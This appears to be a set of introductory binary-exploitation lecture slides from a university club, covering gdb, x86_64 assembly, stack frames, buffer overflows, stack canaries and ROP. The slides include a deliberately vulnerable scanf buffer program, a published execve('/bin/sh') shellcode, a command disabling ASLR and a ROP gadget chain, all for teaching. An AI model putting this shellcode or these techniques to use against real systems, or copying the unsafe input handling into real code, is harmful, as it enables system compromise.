by HexRabbit @ CCNS
In 1994 Blizzard released Warcraft: Orcs & Humans. In one of the maps, the designer typo'd the message "you have been owned" to be "you have been pwned."
In 1997 Blizzard released Diablo. Certain mobs would say that "they will own you", however they pronounced it more like "they will puh-own you."
https://github.com/HexRabbit/pwnable101
gdb - powerful dynamic analyzer
gdb
p [variable]
x/[size][type] [pointer]
break
ni/si
n/s
b/h/w/g
i/s/d/t
IDA pro - 不可或缺的decomplier
objdump / readelf - 快速分析 header/code
char *str = "Hello world";
int A;
int main() {
int B = 1337;
printf("DC yelled %s", str);
return 0;
}
That's how your program look like.
push rbp
mov rbp,rsp
sub rsp,0x70
mov rax,QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8],rax
xor eax,eax
mov eax,0x0
call 0xa6e <init>
mov DWORD PTR [rbp-0x64],0x0
jmp 0xc97 <main+223>
mov eax,0x0
call 0xacc <print>
lea rsi,[rip+0x2014a6]
lea rdi,[rip+0x238]
mov eax,0x0
call 0x900 <__isoc99_scanf@plt>
mov eax,DWORD PTR [rip+0x20148f]
cmp eax,0x1
push %rbp
mov %rsp,%rbp
sub $0x70,%rsp
mov %fs:0x28,%rax
mov %rax,-0x8(%rbp)
xor %eax,%eax
mov $0x0,%eax
callq 0xa6e <init>
movl $0x0,-0x64(%rbp)
jmpq 0xc97 <main+223>
mov $0x0,%eax
callq 0xacc <print>
lea 0x2014a6(%rip),%rsi
lea 0x238(%rip),%rdi
mov $0x0,%eax
callq 0x900 <__isoc99_scanf@plt>
mov 0x20148f(%rip),%eax
cmp $0x1,%eax
intel
AT&T
push rbp
mov rbp,rsp
sub rsp,0x70
mov rax,QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8],rax
xor eax,eax
mov eax,0x0
call 0xa6e <init>
mov DWORD PTR [rbp-0x64],0x0
jmp 0xc97 <main+223>
mov eax,0x0
call 0xacc <print>
lea rsi,[rip+0x2014a6]
lea rdi,[rip+0x238]
mov eax,0x0
call 0x900 <__isoc99_scanf@plt>
mov eax,DWORD PTR [rip+0x20148f]
cmp eax,0x1
intel
Big Endian
Little Endian
4 byte int = 0x01234567
rax | rbx | rcx |
rdx | rsi | rdi |
rbp | rsp | r8 ~ r15 |
rax - 儲存回傳值
rdi - 第一個參數
rsi - 第二個參數
rdx - 第三個參數
rcx - 第四個參數
rbp - 指向目前 stack frame 的底部
rsp - 指向目前 stack frame 的頂部
rip - 指向下一個指令
可以視為是一個狀態的快照
每次 function call 時都會在舊的之上建立新的 stack frame
由程式碼建立,但不是程式碼
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfc0
rbp = 0xffffdff0
rip = 0xf7a67c07
Stack
???
???
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb8
rbp = 0xffffdff0
rip = 0x4006a6
???
???
Stack
0xf7a67c09
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdff0
rip = 0x4006a7
???
???
Stack
0xf7a67c09
0xffffdff0
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdfb0
rip = 0x4006aa
0xf7a67c09
???
???
0xffffdff0
Stack
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdf90
rbp = 0xffffdfb0
rip = 0x4006ae
0xf7a67c09
???
???
stack data
Stack
0xf7a67c09
0xffffdff0
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdf90
rbp = 0xffffdfb0
rip = 0x400c08
0xf7a67c09
???
???
stack data
Stack
0xf7a67c09
0xffffdff0
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdfb0
rip = 0x400c09
???
???
leave = mov rsp, rbp; pop rbp;
Stack
0xf7a67c09
0xffffdff0
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdff0
rip = 0x400c09
0xf7a67c09
???
???
Stack
leave = mov rsp, rbp; pop rbp;
...
0xf7a67c07 <__libc_start_main+383> call rax
0xf7a67c09 <__libc_start_main+385> jmp 0xf7a67c58
...
0x4006a6 <main+0> push rbp
0x4006a7 <main+1> mov rbp, rsp
0x4006aa <main+4> sub rsp, 0x20
...
0x400c08 <main+78> leave
0x400c09 <main+79> ret
Code
Register
rsp = 0xffffdfb0
rbp = 0xffffdff0
rip = 0xf7a67c09
???
???
ret = pop rip;
Stack
可以使用 gdb 的 info proc mapping 指令於執行時期印出記憶體布局
一般發生於程式設計者沒有妥善的處理輸入的邊界,造成輸入長度超過給定的 buffer 發生溢出,破壞附近的其他資料,更可能控制程式流程。
根據溢出位置可分為
#include <stdio.h>
int main() {
char vuln[10];
scanf("%s", vuln);
printf("%s", vuln);
return 0;
}
看看你寫的 code
Stack
ret address
???
???
saved rbp
stack data
vuln
stack data
char vuln[10];
scanf("%s", vuln);
type: "AAAAAAAAAAAAAAAAAAAAAAAA"
0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141
return;
= pop rip
exploit by using pwntools
# Linux/x86_64 execve("/bin/sh"); 30 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
/*
; execve("/bin/sh", ["/bin/sh"], NULL)
section .text
global _start
_start:
xor rdx, rdx
mov qword rbx, '//bin/sh'
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
*/
http://shell-storm.org/shellcode/
https://w3challs.com/syscalls/?arch=x86_64
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
用 ldd 或是開 ncat 並用 gdb 接上觀察
全名為 Data Execution Prevention / No Execute
Stack
ret address
???
???
saved rbp
stack data
canary
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rax, QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8], rax
mov rdx, QWORD PTR [rbp-0x8]
xor rdx, QWORD PTR fs:0x28
???
???
???
???
???
???
???
...
je 4005fc
call 400480 <__stack_chk_fail@plt>
leave
ret
0x41414141
0x41414141
0x41414141
0x41414141
0xdeadbeef |
---|
fs:0x28
0x41414141 |
---|
rdx
Return Oriented Programming
pop rsi ;
pop r15 ;
ret
pop rdi ;
ret
leave ;
ret
syscall ;
ret
pop rsi ;
pop r15 ;
ret
pop rdi ;
ret
xor eax, eax ;
ret
syscall ;
ret
Stack
ret address
saved rbp
vuln
0x4008af
0x400a05
0x40070b
0x4008b1
0x4008b1
0x400a05
0
0x40070b
0x4008af
0x7fffffa0b8
0xdeadbeef
0x41414141 0x41414141 0x41414141
$rax = 0 (read) $rdi = 0 (stdin) $rsi = 0x7fffffa0b8 (address) $rdx = ? (length)